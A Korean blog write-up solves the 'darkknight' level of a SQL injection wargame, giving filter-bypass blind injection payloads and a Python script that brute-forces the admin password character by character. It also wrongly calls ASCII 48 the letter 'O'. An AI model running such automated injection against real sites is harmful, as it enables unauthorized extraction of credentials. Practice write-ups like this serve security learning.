본문 바로가기

보안/Wargame

[Load of SQL Injection] 12번 darkknight

728x90

Q12. darkknight

 

문제 화면

소스코드를 보면 admin의 pw를 구해서 로그인을 하면 되는 문제이다.

  • no는 싱글 쿼터('), stubstr 함수, ascii 함수, 등호(=)를 필터링 한다. 
  • pw는 싱글 쿼터(')를 필터링한다. 

 

해결과정

1. pw 길이 구하기

pw=1&no=1 or id like "admin" and length(pw) like [숫자] 를 입력하여 pw 길이를 구한다.'

숫자를 증가시켜가며 응답을 확인한 결과 pw의 길이는 8임을 알 수 있다.

 

2. 실제 pw 구하기

위 구문은 실제 pw의 첫번째 수에 무작위 값을 대입하여 맞는지 확인하는 코드이다.

` and ord(mid(pw,1,1)) like 97 ` : 여기서 mid함수는 부분 문자열을 추출하고 ord() 함수는 부분 문자열의 첫번째 문자의 아스키 값이 반환된다. like 48은 아스키 값이 48(문자 'O')에 해당하는지 확인하려고 한다.

따라서 위 쿼리문은 pw 열의 첫번째 문자가 'O'인지 확인한다.

 

이전에 썼던 자동화 프로그램을 사용하여 pw의 실제값을 구한다.

import requests

cookies = {'PHPSESSID': 'ma32tvomjr3ojhlpfgj79f3h0a'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'


def password_length():
    len_pw = 0
    while 1:
        len_pw += 1
        print(len_pw)
        value = "1 || id like \"admin\" && length(pw) like {} #".format(len_pw)
        params = {'no': value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw


def find_pw(len_pw):
    pw = ''
    for i in range(1, len_pw + 1):
        print(i, "번째 찾는 중")
        for j in range(48, 122):
            value = "1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(i, j)
            params = {"no": value}
            response = requests.get(url, params=params, cookies=cookies)
            if "Hello admin" in response.text:
                pw += chr(j)
                print("password : ", pw)
                break


find_pw(password_length())

 

아래와 같이 pw_length와 실제 데이터 값을 구했다

 

 

구한 pw를 입력한다.

'보안 > Wargame' 카테고리의 다른 글

[Load of SQL Injection] 11번 golem  (0) 2024.01.22
[Load of SQL Injection] 10번 skeleton  (0) 2024.01.22
[Load of SQL Injection] 9번 vampire  (0) 2024.01.20
[Load of SQL Injection] 8번 troll  (0) 2024.01.20
[Load of SQL Injection] 7번 orge  (0) 2024.01.17